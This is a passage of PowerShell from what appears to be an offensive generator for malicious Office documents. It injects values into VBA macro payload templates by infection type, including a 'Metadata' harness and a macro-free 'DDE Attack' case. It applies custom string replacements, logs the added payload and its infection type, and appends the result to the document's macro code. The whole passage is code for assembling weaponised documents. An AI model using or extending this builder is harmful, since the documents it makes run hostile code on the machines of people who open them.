$vbapayload = $vbapayload | %{$_.Replace("|IRPEICOLUMN|", $l.StartColumn)}
$vbapayload = $vbapayload | %{$_.Replace("|IRPEISTARTROW|", $l.StartRow)}
$vbapayload = $vbapayload | %{$_.Replace("|IRPEIENDROW|", ([int]$l.StartRow + [int]$l.NumRows - 1))}
}
8 { # Metadata
$vbapayload = Get-Harness "Metadata" $functionname $i.LegendString
#$vbapayload = $vbapayload | %{$_.Replace("|CUSTOMPROP|", "Business$count")}
}
9 { # DDE Attack
# There is no macro code required for this attack.
$vbapayload = $null
}
}
if ($i.CustomStrings -ne $null)
{
foreach ($str in $i.CustomStrings.Split(';'))
{
$vals = $str.Split(',')
$vbapayload = $vbapayload | %{$_.Replace($vals[0], $vals[1])}
}
}
Write-Message "Added Payload: $($payload.Name). InfectionType: $($i.InfectionType). Legend: $($i.LegendString). FunctionName: $functionname" "debug"
$macrocode += $vbapayload
$script:macroelements.Add("function_$functionname", $vbapayload)